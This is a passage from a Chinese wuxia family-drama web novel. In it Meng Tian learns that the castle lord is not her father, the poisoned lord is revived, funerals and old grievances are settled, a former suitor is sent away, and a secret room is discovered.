杨氏说我给她们下药,简直可笑,从我发现老爷你无法让我怀孕之后,我就知道,你是个中看不中用的,呵呵……”
“贱妇!我要杀了你!”
孟剑雨怒发冲冠,使出全部内力,震开孟瑜的控制,转身向着苗氏攻去。
“大小姐,救我啊——!”
苗氏尖叫着,向孟天身后躲。
孟天抓住苗氏的一只胳膊,运起轻功,将她带离孟剑雨的攻击范围。
孟剑雨扑了个空,转身就要追去。
孟瑜追着孟剑雨而来,挡在孟剑雨面前,再次拿出匕首对准孟剑雨的脖颈。
“别动!让她把话说完!”
“一个疯婆子的话,你们也信?”
孟剑雨杀人的眼神,直逼苗氏。
“你敢再多说一个字,我让你死无葬身之地!”
面对孟剑雨的威胁,苗氏不但不怕,反而更兴奋了,“老爷,您也会害怕呀?那我就更要说完了。”
苗氏咧着嘴,带着一股疯癫的神采,拉住孟天的手,激动地说:
“大小姐,老爷他生不出孩子的,他不可能是你的父亲!
你的母亲啊,呵呵,肯定和我一样,也偷人了,哈哈哈……”
“闭嘴!”
孟剑雨瞪着苗氏,目眦欲裂,发出暴喝。
“休要污蔑月儿!她和你不一样!你不配提她!”
孟剑雨急于杀死苗氏,徒手抓住孟瑜横在他脖间的匕首,手中淋漓鲜血流下。
孟瑜没料到孟剑雨如此下得狠手,犹豫之际,被孟剑雨一把推开。
看到疯狂冲过来的孟剑雨,孟天挥出一掌,正中孟剑雨胸口。
“啊!”孟剑雨避无可避,被孟天打飞出去,倒在地上。
苗氏高兴得拍手叫好,“打得好!大小姐,他不是你父亲,快,杀了他!杀了他呀!”
孟天猛然回头,盯住苗氏,质问:“他不是我的父亲,那我的亲生父亲是谁?”
苗氏疑惑地眨了眨眼,“我进门晚,这我哪里知道嘛?”
“你可还有其他要和我说的?”孟天冷声问。
苗氏连连点头,指着孟剑雨,对孟天催促:“快杀了他,杀了他!”
孟天沉着脸,往苗氏身侧走了两步,一手刀打在苗氏后颈,将她放倒在地,对谢清源道:
“让侍卫把她抬走,好生看管起来。”
然后,孟天看着地上挣扎着爬起来的孟剑雨,寻求确认。
“苗氏说的,是真的吗?
我不是你的女儿,这就是你恨我、厌恶我的原因?”
第249章 孟家血脉
心惊和难堪过后,孟天逐渐接受了,她不是孟剑雨亲生女儿这件事。
联想到过去种种,她觉得,这似乎是个非常合理的解释。
以往几十年的许多困惑,都迎刃而解。
孟天不但不觉得难过,反而感到心中的负担卸下,一身轻松。
听到孟天的问话,以手支撑地面,正要起身的孟剑雨,动作一顿,仿佛卸去了浑身力气般,跌坐回了地上。
他耷拉着脑袋,弓着背,显得颓然而沮丧,没有开口回答孟天的问题。
在场的其他人,听到苗氏曝出的惊天秘密后,反应不一。
谢清源吃惊过后,同情地望了眼孟剑雨,敢情孟剑雨膝下仅有的三个孩子,没有一个是他的血脉,这对一个男人来说,简直是奇耻大辱!
同时,谢清源又担心地走到妻子孟天身边,伸手把孟天揽入怀中安慰。
“娘子,你还有我们,不用为这等事伤心。”
“你干嘛?肉麻兮兮的!”
孟天扒拉开谢清源的手,嫌弃道。
“我没伤心,你别来捣乱。”
旁边的孟蕊,见娘亲神色如常,松了一口气。
发现爹娘不是亲生的这回事,她有经验。
当苗氏说出孟剑雨不可能有自己的孩子时,孟蕊就已经想到了这种可能,不算太惊讶。
孟瑜则紧皱着眉,眉宇间肃杀之气浓重,他盯着孟剑雨质问:
“既然我娘也不是你的亲生女儿,我和妹妹也不是你的孙辈,你发请帖要我们回来,也是想如法炮制,杀了我们?”
孟剑雨低着头一动不动,也不说话。
被孟天推开的谢清源,又热情地凑到儿子孟瑜身边,语气亲热道:
“阿瑜你放心,孟家堡现在已经在我们的掌控之下,非常安全,为父会保护好你们。”
“就凭你?”
孟瑜的眼神带语气,都透着对谢清源明晃晃的不信任。
“你若真靠得住,妹妹昨夜就不会被孟简追杀了。”
谢清源羞愧地低下头,“昨夜是我疏忽了,没考虑到孟剑雨会闯入……”
昨夜,谢清源留在天源阁的侍卫,都是百里挑一的好手,联合起来对付一般武林高手,绝对没有问题。
但问题是,昨夜首先闯入的,是有数十年功力孟剑雨,那些侍卫连反抗的机会都没有,就被直接撂倒。
“其实,昨夜我也有错。”
孟蕊不想父亲和二哥之间的隔阂加深,主动站出来包揽错处。
“是我判断失误,昨夜应该躲在天源阁中等爹爹回来,不该和纪小姐贸然出去……”
在下山的路上,孟蕊和纪华筠将昨夜的经历,大致讲给了孟天和孟瑜听,谢清源也从侍卫口中知道了大概。
孟瑜看向孟蕊,嗓音放缓了些。
“在那种情况下,你们出去寻求外援,没有错,但错在实力不足,还去跟踪孟简。
要不是阿娘刚好装扮成范勤,混在搜山的队伍中,及时拦下对你们出手的孟简,后果不堪设想。”
“嗯嗯,二哥,我知道错了,下次再也不敢了。”
孟蕊乖巧地瞅着孟瑜,诚恳认错。
孟瑜不自在地收回视线,“你知道就好。”
“二哥,其实我觉得,孟堡主并不想伤害我。”
孟蕊见孟剑雨一直不说话,主动表达自己的看法。
“昨夜,他闯入天源阁,把侍卫们都打晕,当时他应该已经知道我的身份了,若是想要杀我,轻而易举,可是,他只是和我说了几句话,就跳窗离开了。
还有今日早晨,在影山上时,孟堡主虽然把我和纪小姐送到孟简眼前,出卖了我们,但他的目的,并也不像是要让孟简杀了我们。
在那之前,他说二哥你突破了试炼,让我们害怕就大喊,叫你来救我们。
那时我们不知道二哥你的实力,担心连累你,所以没有喊叫,而是冲着树林跑去,想找其他人求救。
现在想来,孟堡主此举的用意,是想让我们喊来二哥,让二哥你与孟简对打。
孟堡主或许是想要进一步检验二哥你的实力,能不能配得上堡主之位。”
“堡主之位?”孟瑜面露疑惑。
“二哥,你不知道吗?”
孟蕊试探着问。
“你参加的试炼,应该就是选拔孟家堡堡主的试炼。”
孟瑜眉头紧皱,瞪向孟剑雨,愤愤道:
“我才不要当什么堡主!
前日夜里,这老家伙用计将我引入影山之中,进入岩壁石门之后,里面尽是些机关陷阱。
我花了一天一夜,才在今早破壁而出,刚好碰上逃跑的老家伙,追着他打上岩壁木屋,根本不知道什么堡主试炼!”
“堡主试炼?”
孟天惊讶地抽气。
“孟老头,你居然让阿瑜进入了机巧堂?万一他出不来怎么办?”
孟天急匆匆走向孟瑜,前前后后地检查儿子有没有受伤。
“除了肩部,你还有哪里受伤?”
孟瑜摇着头,按下母亲的手道:
“没有其他伤,那石门之后的机关虽然很多,但其中不少,历经年代久远,威力大减,我应付得来,要不是我中途在迷宫中寻路太困,睡了许久,昨日便能出来。”
“那就好。”
孟天稍稍放心,随即又不禁疑惑地看向孟剑雨。
“你让阿瑜参加堡主试炼,是什么意思?
我们既不是你的血脉,也不是孟家子孙,你难道还要把堡主之位传给阿瑜不成?”
“谁说你们不是孟家子孙?”
孟剑雨终于开口说话,他阴沉沉地抬起头来,直视孟天、
“孟天,你就是我的女儿!孟瑜,就是我选定的堡主继承人!”
谢清源看了一眼倒地的苗氏,困惑道:
“可是,苗氏的话,不似作假,据我所知,孟堡主你的那些个妾室,甚至外边的女人,确实没有一人有孕过,莫非……”
谢清源眸色深沉地看了看妻子孟天,有些说不下去。
“莫非什么?”孟天催问,“你把话说完呀。”
孟瑜也看向谢清源,眉头快要皱成川字。
孟蕊看看当局者迷的娘亲和二哥,又看看难以启齿的父亲,索性直言道:
“娘亲,父亲的意思是,我们即使不是孟堡主的血脉,但可以是孟家的子孙。
女儿猜测,娘亲您的亲生父亲,也是孟家堡嫡系血脉,所以兄长,才会被孟堡主选为继承人。”
第250章 亲生父亲
“孟家堡嫡系血脉……”
孟天蹙着眉,脸色逐渐发白。
“祖父对祖母用情至深,一生只得两个儿子,那岂不是只有……”
她难以置信,话到口边,再说不下去。
孟瑜接过她的话,郑重地问:
“是师父吗?他是阿娘您的亲生父亲?”
孟蕊和谢清源,也是作此猜测,孟老堡主只有孟剑雨和孟逐风两个儿子,毫无疑问,孟逐风是最有可能的人选。
这也就不难解释,孟剑雨三年前的所为,他要报复孟逐风,理由充分。
“可是,叔父他从未和我透露过,他……不会是那种人……”
孟天还是觉得难以想象,她会是叔父孟逐风的女儿。
在她的印象中,孟逐风是清风朗月、性情豪爽,一生痴迷武学,虽多年在外游历,但身边没有过女人,用不近女色来形容,毫不为过。
这样一个洁身自好的人,怎会与兄长的妻子有染,还生下了她?
“呵,你觉得他不是哪种人?”
孟剑雨缓缓从地上站起来,面沉如水,透着一股阴冷的寒气。
“孟逐风这个人,从小就自私自利,凡事只图自己高兴,不管他人感受。
父亲有意让他继承孟家堡,他一句不感兴趣,就跑得无影无踪,把父亲气病。
与惜月有婚约之人,本也是他,但他这一跑,三年后才回来。
他倒是武功突飞猛进了,但惜月呢?若不在肚子大了之前嫁到孟家堡,定会为人耻笑!”
谢清源惊讶地张大了嘴,“所以,你一开始就知道,我娘子是逐风叔父的女儿?”
“是又如何?我对惜月的感情,比孟逐风更深,我对惜月体贴照顾,比孟逐风待她更好,惜月和我在一起,才会幸福!”
孟剑雨阴沉的脸上,浮现几分暖意与怀念。
“我和惜月,本该过着神仙眷侣一般的日子,她也逐渐接受了我,可是,她身子弱,生产时遭了大罪……”
孟剑雨脸色忽变,瞪向孟天的眼中充满恨意。
“就是为了生下你!害得惜月身子更差,没过几年,她就离我而去!”
孟天怔怔看着孟剑雨,脑子里只有一个念头:
孟剑雨承认了,她真的是叔父孟逐风的女儿!
“当年我娘有孕的事,叔父知道吗?你们没有人去告诉他吗?”孟天问道。
孟天认识的孟逐风,是个正直负责的人,对帮内的兄弟尚且关照有加,怎会在得知未婚妻有孕后不管不顾?
“要告诉他,也得找得到他才行。”
孟剑雨冷哼一声,语气冰冷。
“你祖父撒出去多少人手,都没有找到他的踪迹,直到你两岁,他才突然回来……”
“所以叔父他从头到尾,都不知道我是他的女儿?”孟天追问。
“当然不是,三年前,我告诉他了。”
孟剑雨嘴角勾起快意的弧度。
“他抓了我,问我为什么要唆使他的手下对付他?
我说,因为这是他欠我的!
这么多年来,凭什么他可以在外逍遥,留我在孟家堡尽孝尽责?
凭什么他的霸天帮越来越壮大,而我们孟家堡开始走下坡路?
我告诉他,惜月当年并没有变心,是因为肚子大了实在等不了,才嫁给了我。
而惜月的死,也是他的错,要不是她让惜月怀孕,经历难产,惜月不会早早病逝!
他孟逐风,凭什么活得洒脱恣意?受人尊崇?
那劳什子霸天帮,又如何能比祖宗传下来的孟家堡重要?”
孟剑雨激动地说着,眉目之间染上了几许苦涩。
“孟家堡,百年基业,鼎盛之时,是何等辉煌?决不能败在我的手里!
那时,我还不知道孟繁和孟简不是我的儿子,但看着他们一个完全不成器,一个有些能力却无法全然顶起孟家堡,我内心焦灼难安。”
孟剑雨看向已经听得呆住的孟天,苦笑道。
“我想要找到你,你小小年纪就能有那般武功修为,二十年过去,总该比孟繁和孟简强。
你确实不负我所望,可是,你比孟逐风还能躲。
谢清源利用官府的力量,都未能查到你的丝毫踪迹,我一度以为,你已经死在京城乱军中……”
孟天心乱如麻,看着苍老的孟剑雨,竟觉得他有一点可怜。
“你唆使那两个霸天帮的堂主反叛,是在报复叔……他吗?”
孟天还无法接受叫了几十年的叔父,成为父亲的事实,一时不知该如何称呼。
“报复?”孟剑雨沉重地叹息,“或许有一点,但我的本意,是要挑起内乱,毁了霸天帮,逼孟逐风回来孟家堡,重振祖宗基业。”
孟剑雨咧了咧嘴,似乎想要扯出一个笑,但只有满脸苦涩与懊悔。
“在那样做之前,我去找过他,让他回来孟家堡帮我,但他拒绝了,说他喜欢自由自在,不想要孟家堡的约束。
我听后,非常生气,他确实自由自在了一辈子,但他该尽的责任,全都是我帮他完成了,我要给他一点教训……
可惜啊,我没能成功,叛乱很快被他镇压,那两个堂主被他解决后,他还抓了我。
我没想过要活,对着他,把这么多年来的所有不满和愤懑,全都发泄了出来。
我想让他杀了我,然后回到孟家堡,承担起堡主的重担……”
孟剑雨望向孟瑜,严肃而悲凉。
“我没有骗你,我与他说的话,都是关于那些年孟家堡的事,怎么不算旧事家常?
孟逐风,他为了自己的快活自在,对不起已经离世的爹娘,对不起被他辜负的惜月,更对不起我这个累心费力的兄长,我说他几句,不应该吗?”
“那他为什么会死?”孟瑜咬紧牙根,压抑着怒意,低低质问。
“不知道,我离开的时候,他还是好好的,呵呵……”
孟剑雨讽刺而凄苦地笑起来。
“他那种死犟的性子,不愿意回孟家堡,又逃不过内心的谴责,所以选择去死。”
“不可能!师父不是那样脆弱的人!”孟瑜厉声否认。
“是吗?”
孟剑雨嘴角扬起一抹恶劣。
“或许是因为,我还告诉他,惜月去世前叫着他的名字,死不瞑目,而他,连惜月的葬礼,都没有回来参加……”
第251章 处理麻烦
“叔父没能回来参加娘的葬礼,难道不是因为你没给他送信?”孟天脱口而出。
孟天九岁那年,孟剑雨迎苗氏进门,孟逐风回来参加婚礼。
孟天不喜欢这个后娘,一个人躲上影山练武,是孟逐风找到了她。
为了安抚孟天的情绪,孟逐风和她聊了许多,其中大都是关于孟天母亲金惜月的事。
孟天问过孟逐风,为何没在金惜月的葬礼上见到他。
孟逐风当时满脸落寞,说他没有收到消息,如果当时知道,他再难再远,都会赶回来……
如今想来,分明是孟剑雨没有让孟逐风知晓消息,故意为之。
“你知道?”
孟剑雨表情一滞,忽然放浪大笑。
“哈哈哈……我就是不告诉他!那又怎样?
凭什么惜月到最后念的、想的都是他,我对她那么好,她竟一丝对我的留恋都没有……”
孟剑雨的笑声戛然而止,整个人朝后,轰然倒地,晕死过去。
孟瑜走过去检查,发现孟剑雨双眼紧闭,脸色发黑,嘴角流出黑血。
“他确实中毒了,人还活着,要救吗?”
“阿瑜,孟家堡的事还未理清,他还不能死。”
孟天疲惫地坐回椅子,没有上前。
她今日接收到了太多纷杂惊人的消息,暂时不想面对孟剑雨。
谢清源抚了抚孟天的背,走到孟瑜身边,也检查了一番孟剑雨的情况。
“咦?他这毒……”
谢清源疑惑地凑近,在孟剑雨的嘴边嗅了嗅。
“闻起来,和厉家小子身上的毒很像,难道也是亡藤之毒?”
“亡藤之毒!”孟蕊一惊,随即快步跑过去。
蹲在父亲身边,孟蕊开始从怀里掏出东西。
白色的小瓷瓶,青色的小瓷瓶,纸包的药粉,最后掏出一个黑色的瓷瓶。
“就是这个!爹爹,这个是亡藤之毒的解药!”
孟蕊将黑色瓷瓶递到谢清源手里。
“离京之前,我专门找李管家要的。”
自从厉青鸿告诉她,她的娘亲孟天,前世也中了亡藤之毒,孟蕊就去求李管家,制作了亡藤之毒的解药,时刻带在身上,以防万一。
特别是这次来孟家堡,孟蕊担心危险,在身上预备了各式各样的药,没想到,中亡藤之毒的,竟是孟剑雨。
孟蕊不禁奇怪,“亡藤之毒稀有难得,苗氏一介后宅妇人,如何会得到?”
“确实不太合理,但现在也只有先等他们醒了再说。”
谢清源让孟蕊打开门,叫来侍卫,把孟剑雨和苗氏都搬去厢房。
保险起见,他先找了大夫来给孟剑雨诊治。
寻常大夫自是看不出孟剑雨所中为何毒,只能说出孟剑雨因过度动武,情绪激动,导致毒入脏腑,情况危急。
苗氏醒来后,疯疯癫癫,无法沟通,说不清给孟剑雨下的是什么毒。
精通毒理的李管家远在京城,一时半会儿找不到名医,而谢清源也不能十分确定,孟剑雨所中就是亡藤之毒。
孟天不管三七二十一,直接把孟蕊带来的亡藤之毒解药,给孟剑雨喂了下去。
“能活就活,不能活,就是他该死!”
孟天这般说着,眼中终有不忍。
孟剑雨吃了解药,情况有所好转,大夫说,他的命保住了,但由于中毒太深,暂时醒不过来。
孟剑雨昏迷了,苗氏疯了,孟繁和孟简死了,孟家堡没有主事人,孟天和谢清源只能留下,处理堡中遗留下来的麻烦。
首先要处理的,就是之前死去的那些人。
孟繁的尸身从影山崖下找回时,已是不成样子。
苗氏来看过一眼后,吓得晕了过去,醒来后,更疯了,被孟天命人关了起来。
孟繁和孟简并非孟家血脉,他们以及他们的儿子们,都不能入孟家祖坟。
谢清源派人在渝州城西边的坟山上,买了一大块地,用作他们的安葬之所。
孟天主张,一切葬礼从简,给他们每个人备了一副棺材,停灵三日后,便全都送去坟山安葬。
出殡当天,苗氏的娘家人还来闹过一场。
孟天不惯着他们,也没心思顾及孟剑雨的颜面。
她当着所有宾客的面,宣布苗氏与他人有染,且两个儿子均非孟家子嗣的事实。
紧接着,她拿出清单,拍在苗氏兄长脸上,让他把这些年苗氏贪污的孟家堡银钱物什,全都还回来。
苗家自然不愿意,但谢清源叫来的渝州官差早就等着他们,抓了一批闹事凶狠的关入大牢,剩下的苗家人不闹了,乖乖交出了钱物,狠狠脱了一层皮。
葬礼过后,宾客们纷纷离开孟家堡。
孟剑雨依然未醒,但他被戴绿帽,给人养儿子的丑闻,已经传遍了江湖。
金老爷子看望过昏迷的孟剑雨后,叹息连连。
“剑雨竟被那歹毒妇人迫害至此!一世英名尽毁,唉!”
“都是他自找的。”
孟天瞅了眼床上紧闭双眼、无知无觉的孟剑雨,心情烦躁。
为了金惜月和孟逐风的名声,她将自己的身世按下,对外,她依然还是孟剑雨的女儿。
“舅父,我听苗氏说,当年我娘原本是与我逐风叔父定亲,为何他们最终没有成亲呢?”孟天状似无意地问。
“这……”金老爷子猝不及防,磕磕巴巴地说,“太久之前的事,我记不得了。”
孟天清楚地看到他心虚地低下头,心中了然。
她让伺候的下人们都出去,孟蕊去关上了门,回来站在孟天身边,对金老爷子说:
“舅姥爷,我们都知道了,孟堡主亲口承认,孟逐风才是我娘亲的亲生父亲。”
“你、你们……唉!”金老爷子错愕地看看孟蕊,又看看孟天,最终化作一声叹息。
“我现在终于明白,为何小时候,舅父您总会劝我忍耐。”
孟天无奈地笑着,笑意不达眼底。
“您让我忍耐孟剑雨的暴躁,忍耐苗氏的心机,忍耐孟繁和孟简的哭闹。
我一直以为是您不疼我,没想到,是您早就知道,我不是孟剑雨的亲生女儿。”
“天儿,我……”金老爷子露出愧疚的神情,但不知该说什么。
“舅父,我没有怪您的意思,只不过,想知道当年的真相罢了。”
孟天认真地看着他,得不到答案,誓不罢休。
“这里没有外人,请您实话告诉我,当年我娘亲,为何会怀着我,嫁给了孟剑雨?”
第252章 长辈情事
金老爷子拗不过孟天,不得不把当年的事一一告知。
四十多年前,金惜月外出游历,与孟氏兄弟江湖相遇,三人曾一同经历过凶险艰难,结为生死之交。
期间,金惜月与孟逐风互生爱恋,而沉默内敛的孟剑雨,也暗暗喜欢着金惜月。
后来,孟逐风被仇家报复,金惜月为救他挡了一刀,身受重伤,后来即使伤愈,身子也大不如前,内力尽失,几乎不能再用武功。
孟逐风对此非常内疚,跪在金老庄主面前,承诺一辈子照顾金惜月。
两人就此定下了婚事,但金老庄主有言在先,他的女儿,只嫁给未来的孟家堡堡主。
对此,孟老堡主也乐见其成,因为孟逐风的武功天赋,比孟剑雨更高,已经是孟家堡内定的下一任堡主。
事情到此,孟逐风和金惜月应该顺利成婚,但孟逐风却在这个当头,突然出走,不知所踪,派出的人,全都查不到他的踪迹。
更难办的是,金惜月在此时查出了身孕,随着肚子一天天变大,金老庄主的脸色越来越难看,他逼着金惜月打掉肚子里的孩子,但金惜月不肯。
后来,孟剑雨上门提亲,金惜月便带着肚子里的孩子,嫁给了孟剑雨……
“这难道不是很奇怪吗?”
孟天听完金老爷子的讲述,提出疑问。
“叔父他即使性情豪爽,但不是不负责任之人,他在成婚之前,到底去了哪里?
是真没人找得到他,还是孟剑雨在其中做了什么手脚?”
毕竟,孟剑雨小肚鸡肠,连金惜月的葬礼,都不告诉孟逐风。
孟天完全有理由怀疑,孟剑雨使计,支走孟逐风,又不让人找到他。
“天儿,你这就错怪他了!”
金老爷子望向床榻上昏迷不醒的孟剑雨,解释道。
“当年,我们金家也有派人去寻,费了很大的力气,用尽各种手段,都没有找到。
后来,我们才知道,逐风他那时得到消息,塞外有一种神药,可以根治惜月的伤,让她重拾内力,他便毫不犹豫地去了塞外。
可是,他低估了寻药途中的千难万险,原本数月的路程,竟耽搁了好几年,再回来时,惜月已经出嫁……”
孟天眉头紧锁,这是她从没听过的过往,“那药呢?叔父找到会恢复内力的药了吗?”
“找到了,但你娘拒绝用药。”金老爷子答道。
“为什么?”孟天不解,“我娘若是能恢复内力,每日辅以功力调息,身子肯定会比之前康健些。”
“你娘说,她已经习惯了清闲的后宅生活,不想再经历江湖的打打杀杀,不需要恢复内力,让逐风把药拿回去。”
金老爷子又叹了口气,惆怅地说。
“那时,我父亲去世,我当上新任庄主,曾问过惜月,逐风已经回来,如果惜月想要与他再续前缘,我这个做兄长的可以出面,说服剑雨和离。
毕竟你是惜月和逐风的女儿,对剑雨来说,心中总有个疙瘩,但惜月拒绝了我的提议。
她说,孟逐风是自由的风,不该因为对她的感情,而被禁锢束缚。
她一直知道,逐风喜欢浪迹江湖,不喜做孟家堡的堡主,她想要他自由。
她还求我,不要告诉逐风你是他们的女儿,她想要逐风没有牵挂地做自己。”
听完金老爷子的话,孟天沉默了。
金惜月、孟剑雨、孟逐风三人,似乎都没有错,但造化弄人,走到了如今的结局。
孟天还记得,小时候母亲金惜月还在世时,孟剑雨不但对母亲温柔体贴,对她这个便宜女儿也非常好,那应该就是所谓的爱屋及乌吧。
母亲去世后,孟剑雨开始冷待她,连装都懒得再装。
孟蕊听完长辈们的爱恨往事,唏嘘不已。
“要是外祖母能服下外祖父带回来的药,恢复内力,或许身体好了,能活得更久一些。”
那样的话,以孟剑雨对金惜月的感情,只要金惜月活着,孟剑雨就会一直对孟天好,孟天能够幸福快乐地长大,不会有什么苗氏算计,更不会受武功被废的痛楚。
“其实逐风带回来的药,也用在了刀刃上。”
金老爷子看向孟天。
“天儿,那年你武功被废,若不是有那神药保着,你的内力不会恢复得那么快,也不可能有如今的功力。”
孟天颇为诧异,“您是说,那药,用在了我身上?”
她还一直以为,是自己天赋异禀,又足够努力,得以重新习得武功,没想到,其中还有亲生父母的庇佑。
“是啊,这也说得上是缘分吧。”
金老爷子脸上浮起欣慰的淡笑。
“虽然那些年,逐风不知道你是他的女儿,但血脉吸引,你们二人格外亲近。
后来,你跟随他离开孟家堡,去江湖闯荡,我见他待你,比寻常父亲,还要更亲厚些。”
想到孟逐风,孟天不禁泪目。
许多次遇到困难的时刻,都是这个孟天唤作“叔父”的男人,给予她帮助,陪伴她渡过低谷。
十六年前,带着孩子从京城逃出后,孟天的第一选择,也是去寻求叔父的帮助。
其实在很早以前,孟天内心已经将孟逐风,当做她的父亲了!
——
送走了金老爷子,孟天又见杨氏兄妹来辞行。
孟繁已死,杨玄杉不愿再待在孟家堡,也不想儿子孟子俊葬在渝州,她要把孟子俊带回凌剑山庄安葬。
孟天和孟蕊,将杨玄杉和杨玄松送至孟家堡大门外。
看到凌剑山庄财大气粗的十几辆马车,全都装得满满当当,孟天玩笑道:
“把你的嫁妆算清楚,都带走,可别拉下什么,往后我可不认啊。”
“放心吧,你这个抠门女儿,对着我的嫁妆单子,一样一样地检查收拾,不会有错。”
杨玄杉对着孟蕊努了努嘴,轻哼道。
“生怕我多拿了你们孟家堡的东西似的,想必往后比谢大人还会敛财。”
孟蕊笑着对她福了福身,“杨女侠见谅,我年纪小,做事不够灵活,这里面是我的一点心意,还请笑纳。”
旁边的吟秋捧着一个精致的木匣子,送到杨玄杉手中。
杨玄杉打开一看,竟是一套价值不菲的红宝石头面,一看那精细华丽的做工,就知不是凡品,定是出自名家之手。
“望您往后的日子,都能红红火火,尽遂心意。”孟蕊真心祝福道。
杨玄杉挺喜欢这个礼物,“不错,你这丫头还想着我,比你那分毫不出的爹娘好,以后有空,可以来凌剑山庄找我。”
“玄杉,不可失礼。”
杨玄松提醒着妹妹,目光却一直注视着孟天。
第253章 性情不合
孟天不喜欢杨玄松看她的眼神,出言催促道:
“时候差不多了,你们该起程回凌剑山庄了。”
说着,她对杨玄松和杨玄杉抱拳告别。
“二位走好,一路顺风。”
杨玄杉回以抱拳礼,“有缘再会。”
杨玄松却没有动作,还保持着刚才的动作,直勾勾盯着孟天。
“你就没有别的话,要对我说了吗?”
这几日在孟家堡,杨玄松想要找机会和孟天说话,总是被无时无刻不紧盯孟天的谢清源挡住,找乱七八糟的理由驱赶。
现在,好不容易谢清源那厮不在,杨玄松正要酝酿情绪和孟天说话,却被孟天无情地催促离开,他心里实在不好受。
孟天只觉得杨玄松莫名其妙,他们虽早年因家族原因定过亲,但早已各自婚嫁,多年没有往来,她和他没什么好说的?
“杨掌门,你有何指教?”孟天语气疏离地问。
杨玄松定定看着她,他们都已到中年,不复年少轻狂,但杨玄松却从孟天身上,看到了一如从前的意气风发,总令他回想当年。
他不禁会想,如果当年他和孟天成了婚,一切会不会不一样?
“谈不上指教,我只是觉得,天儿你生性不羁,在江湖上自由惯了,谢清源他终究是官,你为了他去京城生活,于你而言,是禁锢的枷锁。”
杨玄松斟酌着言辞,看似关心地提醒着。
“你留在孟家堡,或许更好,若有需要,随时可以来找我。”
孟天越听越觉得不对劲,京城怎么了?谢清源是官又怎么了?
凭她的实力,全都来去自由,哪里都不会是枷锁?
杨玄松这老小子,是不是看不起她?
孟蕊闻言,蹙紧了眉,她娘亲在京城,过得也是很自由的,这个杨玄松,还不死心呢?
孟蕊正要开口,忽觉一阵风从孟家堡大门内吹来,伴随着谢清源愤怒的大吼。
“杨玄松,你这个老鳏夫,厚脸皮,不害臊!”
谢清源以轻功步法,飞了过来,冲到杨玄松面前停下。
他刚好挡在孟天和杨玄松之间,对着杨玄松就是劈头盖脸的一顿骂。
“你要不要脸!一把年纪了,还来勾引我家娘子,你给我有多远,滚多远去!”
谢清源说完,瞪着杨玄松,气呼呼地喘着气。
杨玄松寸步不让,看着谢清源,也是一肚子气,他还从来没被人如此不尊重地骂过。
“谢大人,你在朝中为官,也是如此出言不逊、恶言恶语的吗?”
“那要看对谁?”
谢清源理所应当地说。
“只要是觊觎我娘子,本官都是这个态度。”
杨玄松冷笑,“天儿本与我有婚约,是你抢走了我的妻子!”
“什么叫你的妻子?你们的婚约早就不作数了。”
谢清源挺着胸膛,颇为自豪地昂首看着杨玄松。
“还好我娘子有眼光,没选你,我和我娘子才是天作之合,是拜过天地祖宗的正经夫妻!”
“选你是有眼光?那她十几年前为何从京城逃跑?难道不是因为后悔跟了你?”
杨玄松被刺激得开始翻旧账。
“这么多年,你怎么找都找不到她,难道不是因为她根本不想见你?”
谢清源喉头一哽,十六年前的事,确实是他的错,孟天为了躲他,一直隐姓埋名生活。
他委屈巴巴地低下头,蹭到孟天身边,软言软语道歉:
“娘子,那件事我知道错了,以后绝不再犯,你别听这个小人挑拨,破坏我们夫妻感情。”
孟天无语地睨了谢清源一眼,不耐烦地对杨玄松说:
“杨掌门,你说这么多,究竟想做什么?”
杨玄松见孟天态度冷淡,心知他所求之事无望,不甘心地问:
“我只想要一个答案,当年,你为何要退了与我的婚约?”
他指着谢清源,语气中带着不屑。
“就为了这个油嘴滑舌小白脸?我究竟哪里不如他?”
“哼!你哪里都比不上我,我娘子就是心悦于我。”
谢清源抢先答道,低下头,笑眯眯地往孟天眼前凑。
“对吧,娘子?”
“你起开,别来添乱了!”
孟天把谢清源的脑袋扒拉开,义正言辞地对杨玄松说。
“杨掌门,关于退婚一事,当年我就与你说过了,我们不合适,这就是最大的原因。”
杨玄松不能接受,意难平道:
“我不明白,我们到底哪里不合适?
我们都是出身江湖世家,都是自小习武,家中长辈相识,从小知根知底,容貌气度、武功能力,我们也都相配。
我难道不比出身官宦之家的谢清源,更适合你?”
孟天扶额,压抑着烦躁应对:“家世是匹配,但我们性情不合!”
“哪里不合了?”
杨玄松想不通,从年少时期,他对孟天的心思,就没有遮掩过,他不信孟天感受不到。
“从小到大,我待你难道不好吗?”
“不好!”
孟天斩钉截铁地否认。
“你自己不觉得,我可是已经忍你很多年了。”
“什么意思?”杨玄松怔住。
想到过去与杨玄松的相处,孟天就嗤之以鼻,她语带嫌弃地继续说:
“我最烦你那种自以为是的好,比我大一岁而已,小时候每次见面,都要对我说教,看我练功,也要指手画脚,你那时还不一定打得过我呢。
你每次和我说的孝敬父母、友爱兄弟那套,你但凡真的关心我,就能发现我那时的真实处境,绝不会觉得苗氏是个被我欺负的可怜继母,孟繁和孟简是仰我鼻息生存的弱势弟弟!
你难道没发现,小时候每次你来孟家堡,十次有八次我都躲进影山了吗?我就是不想见到你,不想听你那些说教的话,你到底明不明白?”
孟天看着已经呈呆滞状的杨玄松,伸手指了指身边一脸骄傲又得意的谢清源。
“至于我为什么选他,因为他有一个最大的优点,就是听我的话!
二十多年前,我带人打上孟家堡那次,谢清源能跟着我一起拳揍孟剑雨,脚踢孟繁和孟简,把孟家堡闹了个天翻地覆,你能吗?
我说成亲,他就和我成亲,我说孩子要跟我姓,我的儿女就跟我姓,你愿意吗?
杨玄松,收起你的自作多情和装腔作势,你管你妹妹就算了,休想管到老子头上来!
现在,立刻,带着你的人马,离开孟家堡!”
第254章 发现密室
杨玄松黑沉着脸,一声不吭地走了。
杨玄杉偷偷对孟天比了个大拇指,追着她哥上了马车。
送走了杨氏兄妹,孟天没好气地推开快要贴到她身上的谢清源。
“你跑来干嘛?争风吃醋?监视我?”
“冤枉啊娘子,为夫是有要事来与你说的。”
谢清源恋恋不舍地站直,被迫与孟天拉开距离,乐呵呵地说。
“只是刚好碰上那老鳏夫口出狂言,实在听不下去,才纠正他的。”
孟天半信半疑地看向他,“什么重要的事?”
“孟简的书房里,发现了密室,里面有东西。”
谢清源正色道。
“阿瑜说,要你亲自去看。”
孟天点了点头,带着孟蕊,和谢清源一起,去了孟简的院子。
这几日,孟家堡对外忙着办葬礼,对内则由孟瑜带着谢清源的侍卫们,将孟家堡中主人家住的院子,全都细细搜过一遍。
孟剑雨与苗氏的正院里,只搜出了一些苗氏藏起来的银票和珠宝,没什么特别。
孟繁住过的院子,被杨玄杉搬空嫁妆后,家具物什所剩无几,没有搜出可疑物品。
